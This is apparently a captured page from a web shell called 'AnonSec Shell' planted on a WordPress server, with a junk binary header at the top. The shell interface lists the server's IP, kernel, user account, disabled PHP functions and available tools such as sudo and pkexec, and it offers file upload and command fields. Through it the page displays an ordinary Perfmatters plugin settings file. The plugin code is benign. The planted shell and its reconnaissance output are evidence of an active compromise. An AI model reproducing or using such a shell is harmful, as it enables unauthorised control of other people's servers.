%PDF-1.3 %��C ��C ����"#Qr����&1!A"2qQa��� ?�y,�/3J�ݹ�߲؋5�Xw���y�R��I0�2�PI�I��iM��r�N&"KgX:��nTJnLK��@!�-� ���m�;�g���&�hw���@�ܗ 9�-�.�1 AnonSec Shell
AnonSec Shell
Server IP : 192.175.98.165  /  Your IP : 216.73.217.36
Web Server : Apache
System : Linux server.tobedev.com 4.18.0-553.72.1.el8_10.x86_64 #1 SMP Tue Sep 2 06:07:48 EDT 2025 x86_64
User : meir5web ( 1019)
PHP Version : 7.4.33
Disable Function : passthru,shell_exec
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/meir5web/public_html/wp-content/plugins/perfmatters/inc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/meir5web/public_html/wp-content/plugins/perfmatters/inc/code.php
<?php
//code global
echo '<section id="code-global" class="section-content pm-child" data-pm-parent="code-code">';

	perfmatters_settings_header(__('Code', 'perfmatters'), 'dashicons-editor-code');

	echo '<div class="pm-control-bar">';

		//subnav
		echo '<div class="pm-subnav">';
			echo '<a href="#code" rel="code-snippets"><span class="dashicons dashicons-paperclip"></span>' . esc_html__('Snippets', 'perfmatters') . '</a>';
			echo '<a href="#code/global" rel="code-global" class="active"><span class="dashicons dashicons-admin-site-alt3"></span>' . esc_html__('Global Scripts', 'perfmatters') . '</a>';
			echo '<a href="#code/settings" rel="code-settings"><span class="dashicons dashicons-admin-generic"></span>' . esc_html__('Settings', 'perfmatters') . '</a>';
		echo '</div>';
		
	echo '</div>';

	perfmatters_settings_section('perfmatters_options', 'assets_code');

	echo '<div style="margin-top: 20px;">';
		perfmatters_action_button('save_settings', __('Save Changes', 'perfmatters'));
    echo '</div>';
echo '</section>';

//code settings
echo '<section id="code-settings" class="section-content pm-child" data-pm-parent="code-code">';

	perfmatters_settings_header(__('Code', 'perfmatters'), 'dashicons-editor-code');

	echo '<div class="pm-control-bar">';

		//subnav
		echo '<div class="pm-subnav">';
			echo '<a href="#code" rel="code-snippets"><span class="dashicons dashicons-paperclip"></span>' . esc_html__('Snippets', 'perfmatters') . '</a>';
			echo '<a href="#code/global" rel="code-global"><span class="dashicons dashicons-admin-site-alt3"></span>' . esc_html__('Global Scripts', 'perfmatters') . '</a>';
			echo '<a href="#code/settings" rel="code-settings" class="active"><span class="dashicons dashicons-admin-generic"></span>' . esc_html__('Settings', 'perfmatters') . '</a>';
		echo '</div>';
		
	echo '</div>';

	echo '<div class="perfmatters-settings-section">';

		$config = Perfmatters\PMCS\PMCS::get_snippet_config();

		echo '<table class="form-table">';
			echo '<tbody>';

				//export all snippets
				echo '<tr>';
					echo '<th>' . perfmatters_title(__('Export Snippets', 'perfmatters') , false, 'https://perfmatters.io/docs/code-snippets/#export') . '</th>';
					echo '<td>';
						perfmatters_action_button('export_snippets', __('Export All Snippets', 'perfmatters'), 'secondary');
						perfmatters_tooltip(__('Export your Perfmatters code snippets for this site as a .json file. This lets you easily import the configuration into another site.', 'perfmatters'));
					echo '</td>';
				echo '</tr>';

				//import snippets
				echo '<tr>';
					echo '<th>' . perfmatters_title(__('Import Snippets', 'perfmatters') , false, 'https://perfmatters.io/docs/code-snippets/#import') . '</th>';
					echo '<td>';

						//input + button
    					echo '<input type="file" id="pmcs-import-file" name="pmcs_import_file" /><br />';
    					perfmatters_action_button('import_snippets', __('Import Code Snippets', 'perfmatters'), 'secondary');
						perfmatters_tooltip(__('Import Perfmatters code snippets from an exported .json file.', 'perfmatters'));
					echo '</td>';
				echo '</tr>';
			echo '</tbody>';
		echo '</table>';

		echo '<h2>' . esc_html__('Safe Mode', 'perfmatters') . '</h2>';

		echo '<table class="form-table">';
			echo '<tbody>';

				//enable safe mode
				echo '<tr>';
					echo '<th>' . perfmatters_title(__('Enable Safe Mode', 'perfmatters') , false, 'https://perfmatters.io/docs/code-snippets/#safe-mode') . '</th>';
					echo '<td>';
						if(!defined('PMCS_SAFE_MODE')) {
							if(empty($config['meta']['force_disabled'])) {
								echo '<a href="' . add_query_arg('enable_safe_mode', true) . '#code" name="pmcs_enable_safe_mode" class="button button-secondary" style="margin-right: 10px;">' . esc_html__('Enable Safe Mode', 'perfmatters') . '</a>';
							}
							else {
								echo '<a href="' . add_query_arg('disable_safe_mode', true) . '#code" name="pmcs_enable_safe_mode" class="button button-secondary" style="margin-right: 10px;">' . esc_html__('Disable Safe Mode', 'perfmatters') . '</a>';
								echo '<span style="color:#dba617;line-height:30px;"><span class="dashicons dashicons-warning" style="line-height:30px;"></span> ' . esc_html__('Safe mode is enabled.', 'perfmatters') . '</span>';
							}
						}
						else {
							echo '<span style="color:#dba617;line-height:30px;"><span class="dashicons dashicons-warning" style="line-height:30px;"></span> ' . esc_html__('Safe mode enabled via PMCS_SAFE_MODE constant.', 'perfmatters') . '</span>';
						}

						perfmatters_tooltip(__('Enable safe mode to prevent all code snippets from running regardless of active status. This can also be done using your recovery URL or by defining our PMCS_SAFE_MODE constant.', 'perfmatters'));
					echo '</td>';
				echo '</tr>';

				//recovery url
				echo '<tr>';
					echo '<th>' . perfmatters_title(__('Recovery URL', 'perfmatters') , false, 'https://perfmatters.io/docs/code-snippets/#safe-mode') . '</th>';
					echo '<td>';
						echo '<label id="pmcs-recovery-url" class="perfmatters-inline-label-input">';
							echo '<input type="text" value="' . (!empty($config['meta']['secret_key']) ? site_url('index.php?pmcs_secret=' . $config['meta']['secret_key']) : '') . '" placeholder="' . esc_html__('Create a snippet first.', 'perfmatters') . '" readonly>';
							echo '<span>' . esc_html__('Copy', 'perfmatters') . '</span>';
						echo '</label>';

						perfmatters_tooltip(__('This URL can be used to enable safe mode in the event of an unrecoverable snippet error.', 'perfmatters'));
					echo '</td>';
				echo '</tr>';

			echo '</tbody>';
		echo '</table>';
	echo '</div>';
echo '</section>';

Anon7 - 2022
AnonSec Team